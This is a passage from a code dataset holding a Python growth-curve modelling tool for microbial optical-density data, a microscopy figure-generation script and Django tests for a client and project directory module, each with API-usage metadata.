lag_time = inflection_point * time_interval - (fitfunc(inflection_point,coef[0],coef[1],coef[2], coef[3]) - fitfunc(0,coef[0],coef[1],coef[2],coef[3])) / msgr\n\n elif (model == 'modgompertz' or model == 'modlogistic'):\n lag_time = coef[1]\n msgr = coef[2]\n\n\n \n doubling_time = np.log(2) / msgr\n \n lag_time = max(lag_time, 0)\n \n \n \n \n if (double_hump==1 and double_hump_found == 0):\n note = 'No Double Hump Detected'\n \n\n regression = fitfunc(time, coef[0],coef[1], coef[2], coef[3])\n\n plot_results(True, full_filename, lag_time, timepoints, time, regression, OD_values, msgr, doubling_time, delta_OD_max, min_od, median_od_max, possible_growth_flag, plot_title=plot_title)\n \n #plot curve\n \n #plot line on lag_time\n \n #scale, and label\n \n return (lag_time, msgr, median_od_max, median_min_od, delta_OD_max, doubling_time, rsquared, rmse, note);\n \n\ndef medfilt (x, k):\n \"\"\"Apply a length-k median filter to a 1D array x.\n Boundaries are extended by repeating endpoints.\n \"\"\"\n assert k % 2 == 1, \"Median filter length must be odd.\"\n assert x.ndim == 1, \"Input must be one-dimensional.\"\n k2 = (k - 1) // 2\n y = np.zeros ((len (x), k), dtype=x.dtype)\n y[:,k2] = x\n for i in range (k2):\n j = k2 - i\n y[j:,i] = x[:-j]\n y[:j,i] = x[0]\n y[:-j,-(i+1)] = x[j:]\n y[-j:,-(i+1)] = x[-1]\n return np.median (y, axis=1)\n \n \n\ndef MicrobialKinetics(OD_values, time_interval, incubation_time, threshold, model, double_hump, full_filename, data_min, ignore_pre_min, plot_title):\n \"\"\"\n MicrobialKinetics - For a specific dataset, attempts to determine a group\n of statistics on the growth which occurred. Plots the dataset along the \n way, with the best fit regression.\n \"\"\"\n # time interval assumed to be half hour time blocks\n\n\n #set to zero initially \n max_od = np.max(OD_values)\n max_location = np.argmax(OD_values)\n min_od = np.min(OD_values)\n\n (lag_time, max_spec_growth_rate,median_od_max, median_od_min, delta_OD_max, doubling_time, rsquared, rmse, note) = FindRegressionCurve(\n OD_values, time_interval, incubation_time, model, double_hump, threshold, full_filename, data_min, ignore_pre_min, plot_title)\n \n \n #report both max OD And median filtered max OF to excel\n\n\n \n \n #legend(lag_time_str, 'location', 'SouthOutside');\n \n \n return (lag_time, max_spec_growth_rate, max_od, min_od, median_od_max, median_od_min, delta_OD_max, doubling_time, rsquared,rmse, note)\n \n \n \ndef GrowthCurveModeler( file_or_dir, **varargin):\n \"\"\"\n GrowthCurveModeler - Calculates some metrics for growth curves, as well as graphing\n a regression curve of the data points. \n\n Required parameter: \n \n file_or_dir - input data file or directory of input files, must be formatted properly\n\n Optional parameters:\n\n MaxTimepoint - value {default is total specified in dataset}\n Final timepoint of the dataset \n\n Threshold - value {default 0.3}\n Threshold which describes the minimum OD reading to signify growth (default 0.3)\n \n Model - [{'modlogistic'} | 'gompertz' | 'logistic' | 'modgompertz']\n Regression model to plot the curves\n\n PreIncubationTime - value {default 1.0}\n If you incubate your cells before recording timepoints,\n this will appropriately shift your data points in time\n for lag time calculations \n\n DoubleHump - [True | {False}] \n Flag to indicate double hump processing, this expects all datasets to include a\n double/multi hump and should remove all growth humps before the \"main curve\" \n \n DataMin - [ True | {False}]\n Data regression minimum is min data point\n\n IgnorePreMin - [ True | {False}]\n Data regression ignores data before the minimum data point (prior to the maximum datapoint)\n\n RSquaredFlag - value {default .97}\n Cutoff for \"Good\" regression fit\n\n Examples:\n GrowthCurveModeler('dataset.xlsx', DoubleHump=True, Threshold=0.2);\n\n GrowthCurveModeler('.', IncubationTime=1.5);\n \n GrowthCurveModeler('folder_containing_xlsxfiles');\n \"\"\"\n print(file_or_dir)\n if (os.path.isdir(file_or_dir)):\n runnable_files = glob.glob(file_or_dir + \"/*.xlsx\")\n for r in runnable_files:\n GrowthCurveModeler(r, **varargin)\n return\n\n max_timepoint = -1\n growth_threshold = 0.3\n model = 'modlogistic'\n incubation_time = 1.0\n double_hump = 0\n data_min = 0\n ignore_pre_min = 0\n r2_good_fit_cutoff = 0.97\n\n for k,v in varargin.items():\n if (k=='MaxTimepoint'):\n max_timepoint = v\n if (k=='Threshold'):\n threshold = v\n if (k=='Model'):\n model = v\n if (k=='PreIncubationTime'):\n incubation_time = v\n if (k=='DoubleHump'):\n double_hump = v\n if (k=='DataMin'):\n data_min = v\n if (k=='IgnorePreMin'):\n ignore_pre_min = v\n if (k=='RSquaredFlag'):\n r2_good_fit_cutoff = v\n \n (path, file) = os.path.split(file_or_dir)\n (stub, ext) = os.path.splitext(file)\n \n if (path):\n path = path + \"/\"\n \n plots_folder = path + \"results/\"\n \n if (not os.path.exists(plots_folder)):\n os.mkdir(plots_folder)\n \n plots_folder = plots_folder + stub + \" plots/\"\n\n if (not os.path.exists(plots_folder)):\n os.mkdir(plots_folder)\n\n \n workbook = xlrd.open_workbook(file_or_dir)\n sheet = workbook.sheet_by_index(0)\n num_columns = sheet.ncols\n \n output = ('Sugar', 'Strain', 'Lag Time (hours)', 'Max Specific Growth Rate (1/hours)',\\\n 'Doubling Time (hours)', 'Max OD', 'Max OD (Median Filtered Data)', 'Min OD', 'Min OD (Median Filtered Data)', 'Delta OD (Median Filtered Data)', 'Notes', 'R^2', 'RMSE')\n \n time_interval = 0.5\n sugar = ''\n strain_count = 0\n sugar_count = 0\n\n first_sugar = True\n Sugars = []\n Start_idxs = []\n Strain_counts = []\n lag_times = []\n\n output_file = path + 'results/' + stub + ' results.xlsx'\n output_workbook = xlsxwriter.Workbook(output_file)\n output_sheet = output_workbook.add_worksheet(\"Results\")\n green_fill = output_workbook.add_format()\n green_fill.set_bg_color('#80D040')\n red_fill = output_workbook.add_format()\n red_fill.set_bg_color('#FF5050')\n red_fill.set_align('center')\n no_fill = output_workbook.add_format()\n no_fill.set_align('center')\n red_text = output_workbook.add_format()\n red_text.set_color('red')\n red_text.set_align('center')\n\n output_sheet.conditional_format('L2:L600', {'type': 'cell', 'criteria': 'between', 'maximum': r2_good_fit_cutoff,'minimum': 0.0000001, 'format': red_fill})\n output_sheet.conditional_format('L2:L600', {'type': '2_color_scale','min_color': \"#FFA550\",'max_color': \"#80D040\", 'min_type': 'num', 'max_type':'num','min_value': r2_good_fit_cutoff,'max_value':1.0})\n# output_sheet.conditional_format('L2:L600', {'type': 'cell','criteria': '>', 'value': r2_good_fit_cutoff,'minimum': 0.0000001, 'format': green_fill})\n\n output_sheet.conditional_format('K2:K600', {'type': 'no_blanks', 'format': red_text})\n output_sheet.freeze_panes(1,2)\n header_format = output_workbook.add_format()\n header_format.set_text_wrap(1)\n header_format.set_bold(1)\n header_format.set_align('center')\n data_format = output_workbook.add_format()\n data_format.set_align('center')\n\n output_sheet.write_row(0,0, output, header_format)\n \n title_data0 = sheet.row(0)\n title_data1 = sheet.row(1)\n for i in range(num_columns):\n data_column = sheet.col_slice(i, 2)\n data_column_values = []\n for d in data_column:\n data_column_values.append(float(d.value))\n if (sheet.cell(0,i)):\n if (not first_sugar):\n Strain_counts.append(strain_count)\n strain_count = 0\n sugar_start_idx = i\n first_sugar = False\n sugar_count = sugar_count + 1\n sugar = title_data0[i].value\n Start_idxs.append(sugar_start_idx)\n Sugars.append(sugar)\n if (title_data1[i].value==\"Time\"):\n time_interval = data_column_values[1] - data_column_values[0]\n else:\n strain_count = strain_count + 1\n strain = title_data1[i].value\n sugar_folder = plots_folder + \"/\" + sugar\n if (not os.path.exists(sugar_folder)):\n os.mkdir(sugar_folder)\n full_filename = sugar_folder + \"/\" +sugar + '-' + strain\n \n if (max_timepoint < 0):\n (lagtime, max_u, OD_max, OD_min, median_OD_max, median_OD_min, delta_OD_max, doubling_time, rsquared, rmse, note) = MicrobialKinetics(\n np.array(data_column_values, dtype=float), time_interval, incubation_time, growth_threshold, model,\n double_hump, full_filename, data_min, ignore_pre_min, sugar + '-' + strain)\n else:\n (lagtime, max_u, OD_max, OD_min, median_OD_max, median_OD_min, delta_OD_max, doubling_time, rsquared, rmse, note) = MicrobialKinetics(\n np.array(data_column_values[0:max_timepoint / time_interval]), time_interval, incubation_time,\n growth_threshold, model, double_hump, full_filename, data_min, ignore_pre_min, sugar + '-' + strain)\n lag_times.append(lagtime)\n\n if (not isinstance(rsquared, str) and rsquared < r2_good_fit_cutoff):\n if (len(note) > 0):\n note = note + '; '\n note = note + 'Poor Regression'\n\n output_sheet.write_row(i, 0, (sugar,strain,lagtime, max_u, doubling_time, OD_max, median_OD_max, OD_min, median_OD_min, delta_OD_max, \\\n note, rsquared, rmse), data_format)\n\n output_workbook.close()\n \n \n #plot title = name \n \n #save plot to sugar folder\n #close plot\n \n \n \n \n\n \n\n\n \n", "sub_path": "GrowthCurveModeler.py", "file_name": "GrowthCurveModeler.py", "file_ext": "py", "file_size_in_byte": 19888, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.exp", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.e", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "numpy.empty", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 110, "usage_type": "call"}, {"api_name": "scipy.optimize.signal.find_peaks_cwt", "line_number": 118, "usage_type": "call"}, {"api_name": "scipy.optimize.signal", "line_number": 118, "usage_type": "attribute"}, {"api_name": "scipy.optimize", "line_number": 118, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 118, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 159, "usage_type": "call"}, {"api_name": "pylab.arange", "line_number": 227, "usage_type": "call"}, {"api_name": "scipy.optimize.optimize.curve_fit", "line_number": 246, "usage_type": "call"}, {"api_name": "scipy.optimize.optimize", "line_number": 246, "usage_type": "attribute"}, {"api_name": "scipy.optimize", "line_number": 246, "usage_type": "name"}, {"api_name": "scipy.optimize.optimize", "line_number": 247, "usage_type": "attribute"}, {"api_name": "scipy.optimize", "line_number": 247, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 277, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 287, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 334, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 342, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 356, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 357, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 358, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 422, "usage_type": "call"}, {"api_name": "os.path", "line_number": 422, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 423, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 455, "usage_type": "call"}, {"api_name": "os.path", "line_number": 455, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 456, "usage_type": "call"}, {"api_name": "os.path", "line_number": 456, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 463, "usage_type": "call"}, {"api_name": "os.path", "line_number": 463, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 464, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 468, "usage_type": "call"}, {"api_name": "os.path", "line_number": 468, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 469, "usage_type": "call"}, {"api_name": "xlrd.open_workbook", "line_number": 472, "usage_type": "call"}, {"api_name": "xlsxwriter.Workbook", "line_number": 491, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 542, "usage_type": "call"}, {"api_name": "os.path", "line_number": 542, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 543, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 548, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 552, "usage_type": "call"}]} {"seq_id": "82996787", "text": "#!/usr/bin/env python3\r\n# Dependencies from the Python 3 standard library:\r\nimport os\r\nimport subprocess as sp\r\nfrom shutil import copyfile\r\n# Dependencies from the Scipy stack https://www.scipy.org/stackspec.html :\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n# Dependencies from https://github.com/AndrewGYork/remote_refocus/figure_generation :\r\nimport np_tif\r\n\r\n## Set/create directories\r\ninput_directory = os.path.abspath(os.path.join(\r\n os.getcwd(), os.pardir, os.pardir, 'big_data_input', 'SIM_lines_edge'))\r\ntemp_directory = os.path.abspath(os.path.join(\r\n os.getcwd(), os.pardir, os.pardir, 'temp'))\r\nif not os.path.isdir(temp_directory): os.mkdir(temp_directory)\r\ntemp_directory = os.path.join(temp_directory, 'SIM_lines_edge')\r\nif not os.path.isdir(temp_directory): os.mkdir(temp_directory)\r\noutput_directory = os.path.abspath(os.path.join(\r\n os.getcwd(), os.pardir, os.pardir, 'big_data_output'))\r\nif not os.path.isdir(output_directory): os.mkdir(output_directory)\r\noutput_directory = os.path.join(output_directory, 'SIM_lines_edge')\r\nif not os.path.isdir(output_directory): os.mkdir(output_directory)\r\n\r\n## Set input file name and acquisition parameters for processing\r\nmz_step = 5 # microscope z step\r\nnum_f = 13 # number of files\r\nnum_slices = 17 # number of z slices in a stack\r\ninput_filename = ('SpXcyan-dmi8GFPcube_dmi8z_%1s.0.tif')\r\ninput_filename_list = num_f*[None]\r\nhyperstack_filename = os.path.splitext(input_filename)[0] + '_hyperstack.tif'\r\ninput_filename = os.path.join(input_directory, input_filename)\r\nhyperstack_filename = os.path.join(temp_directory, hyperstack_filename)\r\n\r\n## Cropping parameters\r\nleft_crop = 1400\r\nright_crop = 100\r\ntop_crop = 115\r\nbottom_crop = 1385\r\n\r\n## If hyperstack file exists then skip processing\r\nif os.path.exists(hyperstack_filename):\r\n print('Found hyperstack tif, loading...', end='')\r\n data = np_tif.tif_to_array(hyperstack_filename)\r\n data = data.reshape((num_f, num_slices) + data.shape[-2:])\r\n print('done')\r\n\r\n## If no hyperstack file then process original data\r\nelse:\r\n data_list = num_f*[None]\r\n for fn in range(num_f):\r\n input_filename_list[fn] = (input_filename\r\n %((fn-int(0.5*(num_f-1)))*mz_step))\r\n print('Found input files, loading...', end='')\r\n data_list[fn] = np_tif.tif_to_array(input_filename_list[fn])\r\n print('done')\r\n print('Creating np data array...', end='')\r\n data = np.asarray(data_list)\r\n data = data.reshape((num_f, num_slices) + data.shape[-2:]) \r\n print('done')\r\n print('Cropping...', end='', sep='')\r\n if left_crop or right_crop > 0:\r\n data = data[:, :, :, left_crop:-right_crop]\r\n if top_crop or bottom_crop > 0:\r\n data = data[:, :, top_crop:-bottom_crop, :]\r\n print('done')\r\n print(\"Saving result...\", end='')\r\n np_tif.array_to_tif(\r\n data.reshape(num_f*num_slices, data.shape[-2], data.shape[-1]),\r\n hyperstack_filename, slices=num_slices, channels=1, frames=num_f)\r\n print('done')\r\n\r\nprint('tif shape (Microsope z, RR z, y, x) =', data.shape)\r\n\r\n## Add white scale bar to all images\r\nfor t in range(data.shape[0]):\r\n for z in range(data.shape[1]):\r\n image = data[t, z, :, :]\r\n image[20:30, 350:535] = 3000\r\n\r\n## Choose parameters for video\r\ncurrent_frame = -1\r\nxmargin = 0.15\r\nymargin = 0.16\r\nspace = 0.03\r\nz_scale = 0.25\r\n\r\n## Set output folder and filename for images to make video\r\noutput_filename = os.path.join(output_directory, 'img%02i%02i.png')\r\n\r\n## Make images for video\r\nfig = plt.figure(figsize=(10,10),dpi=(600))\r\nfor fn in range(num_f):\r\n mz = (fn-int(0.5*(num_f-1)))*mz_step\r\n print('Microscope z = ', mz)\r\n for z in range(num_slices):\r\n rrz = 1.52*mz + z_scale*(z-(num_slices-1)/2)\r\n current_frame += 1\r\n print('frame = ', current_frame)\r\n plt.clf()\r\n print('RR z = ', rrz)\r\n plt.imshow(data[fn, z, :, :], cmap='gray', vmin=750, vmax=3000)\r\n plt.gca().get_xaxis().set_ticks([])\r\n plt.gca().get_yaxis().set_ticks([])\r\n plt.figtext(xmargin, ymargin + 22*space,\r\n 'Diffraction limited resolution',\r\n color='yellow', family='monospace')\r\n plt.figtext(xmargin, ymargin + 2*space, 'RR z=%6s$\\mu$m'%('%0.2f'%rrz),\r\n color='yellow', family='monospace')\r\n plt.figtext(xmargin, ymargin + space, 'Microscope z=%6s$\\mu$m'%('%0.2f'%mz),\r\n color='yellow', family='monospace')\r\n plt.figtext(xmargin, ymargin, 'Field of view = edge',\r\n color='yellow', family='monospace')\r\n plt.savefig(output_filename%(fn, z), bbox_inches='tight')\r\nplt.close(fig)\r\n\r\n## Choose 'poster' image and copy to video location\r\ncopyfile(os.path.join(output_directory, 'img0608.png'),\r\n os.path.join(output_directory, 'default.png'))\r\n", "sub_path": "figure_generation/figure_6_SIM_lines_edge.py", "file_name": "figure_6_SIM_lines_edge.py", "file_ext": "py", "file_size_in_byte": 4896, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.abspath", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 14, "usage_type": "call"}, {"api_name": "os.pardir", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 16, "usage_type": "call"}, {"api_name": "os.pardir", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 21, "usage_type": "call"}, {"api_name": "os.pardir", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "np_tif.tif_to_array", "line_number": 45, "usage_type": "call"}, {"api_name": "np_tif.tif_to_array", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 59, "usage_type": "call"}, {"api_name": "np_tif.array_to_tif", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 90, "usage_type": "call"}, {"api_name": "os.path", "line_number": 90, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figtext", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figtext", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figtext", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figtext", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 115, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 115, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "shutil.copyfile", "line_number": 119, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 119, "usage_type": "call"}, {"api_name": "os.path", "line_number": 119, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 120, "usage_type": "call"}, {"api_name": "os.path", "line_number": 120, "usage_type": "attribute"}]} {"seq_id": "100907999", "text": "import shutil\nimport os\nfrom datetime import datetime\nfrom glob import glob\nfrom django.test import TestCase\nfrom django.contrib.auth import get_user_model\n\nfrom core.models import Client, Brand, Project, Humans\nfrom file_system.models import ClientFileSystem, ProjectFileSystem, pick_values_by_key, create_dir_tree\nfrom file_system import settings\n\n\nclass PopulateCore(object):\n def __init__(self):\n # create dummy_user\n user_model = get_user_model()\n dummy_user = user_model.objects.create_user(\n 'test_user_username',\n 'test@email.com',\n 'test_password'\n )\n dummy_user.save()\n self.dummy_user = dummy_user\n\n # create human contact\n dummy_human = Humans()\n dummy_human.user = dummy_user\n dummy_human.department = 'management'\n dummy_human.department = 'general-manager'\n dummy_human.phone = '0123456789'\n dummy_human.address = 'dummy user test address'\n dummy_human.personal_email = 'dummy@personal.em'\n dummy_human.enrolled = datetime.now()\n dummy_human.save()\n self.dummy_human = dummy_human\n\n # create a dummy client\n dummy_client = Client()\n dummy_client.name = 'test_client_name'\n dummy_client.manager = self.dummy_human\n dummy_client.save()\n self.dummy_client = dummy_client\n\n # create a dummy brand\n dummy_brand = Brand()\n dummy_brand.name = 'brand_test_name'\n dummy_brand.client = self.dummy_client\n dummy_brand.save()\n self.dummy_brand = dummy_brand\n\n # create a dummy project\n dummy_project = Project()\n dummy_project.name = 'test_project_name'\n dummy_project.short_code = \"test_prj_dir_name\"\n dummy_project.client = self.dummy_client\n dummy_project.brand = self.dummy_brand\n self.dummy_project = dummy_project\n\n\nclass TestHelperFunctions(TestCase):\n def setUp(self):\n class Obj(object):\n include_pattern = 'included1'\n not_include = 'not_included1'\n included_safe_pattern_pattern = 'included2'\n not_included_1pattern = 'not_included2'\n\n tree = dict(\n dir1_level1='dir1_level1',\n dir2_level1='dir2_level1',\n deep1_level1=dict(\n root='deep1_level1',\n dir1_level2='dir1_level2',\n dir2_level2='dir2_level2',\n deep2_level2=dict(\n root='deep1_level2',\n dir1_level3='dir1_level3',\n dir2_level3='dir2_level3',\n )\n )\n )\n self.obj = Obj()\n self.pattern = '_pattern'\n self.tree = tree\n\n def tearDown(self):\n shutil.rmtree(settings.STORAGE_ROOT)\n os.makedirs(settings.STORAGE_ROOT)\n\n def test_pick_values_by_key(self):\n self.assertEqual({'included1', 'included2'},\n set(pick_values_by_key(self.obj, self.pattern)))\n\n def test_create_dir_tree(self):\n create_dir_tree(settings.STORAGE_ROOT, self.tree)\n self.assertTrue(os.path.join(settings.STORAGE_ROOT, 'dir1_level1'))\n self.assertTrue(os.path.isdir(os.path.join(settings.STORAGE_ROOT, 'deep1_level1', 'dir2_level2')))\n self.assertTrue(\n os.path.isdir(os.path.join(settings.STORAGE_ROOT, 'deep1_level1', 'deep1_level2', 'dir1_level3')))\n\n\nclass TestClientFileSystem(TestCase):\n def setUp(self):\n self.core = PopulateCore()\n self.client_filesystem = ClientFileSystem()\n self.client_filesystem.client = self.core.dummy_client\n\n self.project_filesystem = ProjectFileSystem()\n self.project_filesystem.project = self.core.dummy_project\n\n def tearDown(self):\n shutil.rmtree(settings.STORAGE_ROOT)\n os.makedirs(settings.STORAGE_ROOT)\n\n def test_client_filesystem(self):\n client_root = self.client_filesystem.create_filesystem()\n self.assertEqual(client_root, os.path.join(settings.STORAGE_ROOT, self.core.dummy_client.name))\n test_dirs = pick_values_by_key(self.client_filesystem, \"_path\")\n for test_dir in test_dirs:\n self.assertTrue(os.path.isdir(test_dir))\n\n\nclass TestProjectFileSystem(TestCase):\n def setUp(self):\n self.core = PopulateCore()\n\n self.client_filesystem = ClientFileSystem()\n self.client_filesystem.client = self.core.dummy_client\n\n self.project_filesystem = ProjectFileSystem()\n self.project_filesystem.project = self.core.dummy_project\n\n def tearDown(self):\n shutil.rmtree(settings.STORAGE_ROOT)\n os.makedirs(settings.STORAGE_ROOT)\n\n def test_project_filesystem(self):\n client_root = self.client_filesystem.create_filesystem()\n expected_project_root = self.project_filesystem.create_filesystem()\n\n project_root = os.path.join(client_root, settings.PROJECTS_ROOT, self.core.dummy_project.short_code)\n self.assertEqual(project_root, expected_project_root)\n\n symlinks_dirs = glob(os.path.join(client_root, '*-links'))\n for check_dir in symlinks_dirs:\n link = glob(os.path.join(check_dir, '*'))[0]\n self.assertTrue(os.path.islink(link))\n self.assertEqual(os.path.basename(link), self.project_filesystem.project_dir_name)\n dir_type = os.path.basename(check_dir).split('-')[0]\n dir_target = getattr(self.project_filesystem, dir_type + '_path')\n self.assertEqual(os.path.realpath(link), dir_target)\n", "sub_path": "file_system/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 5673, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.contrib.auth.get_user_model", "line_number": 16, "usage_type": "call"}, {"api_name": "core.models.Humans", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 33, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 33, "usage_type": "name"}, {"api_name": "core.models.Client", "line_number": 38, "usage_type": "call"}, {"api_name": "core.models.Brand", "line_number": 45, "usage_type": "call"}, {"api_name": "core.models.Project", "line_number": 52, "usage_type": "call"}, {"api_name": "django.test.TestCase", "line_number": 60, "usage_type": "name"}, {"api_name": "shutil.rmtree", "line_number": 87, "usage_type": "call"}, {"api_name": "file_system.settings.STORAGE_ROOT", "line_number": 87, "usage_type": "attribute"}, {"api_name": "file_system.settings", "line_number": 87, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 88, "usage_type": "call"}, {"api_name": "file_system.settings.STORAGE_ROOT", "line_number": 88, "usage_type": "attribute"}, {"api_name": "file_system.settings", "line_number": 88, "usage_type": "name"}, {"api_name": "file_system.models.pick_values_by_key", "line_number": 92, "usage_type": "call"}, {"api_name": "file_system.models.create_dir_tree", "line_number": 95, "usage_type": "call"}, {"api_name": "file_system.settings.STORAGE_ROOT", "line_number": 95, "usage_type": "attribute"}, {"api_name": "file_system.settings", "line_number": 95, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path", "line_number": 96, "usage_type": "attribute"}, {"api_name": "file_system.settings.STORAGE_ROOT", "line_number": 96, "usage_type": "attribute"}, {"api_name": "file_system.settings", "line_number": 96, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path", "line_number": 97, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 97, "usage_type": "call"}, {"api_name": "file_system.settings.STORAGE_ROOT", "line_number": 97, "usage_type": "attribute"}, 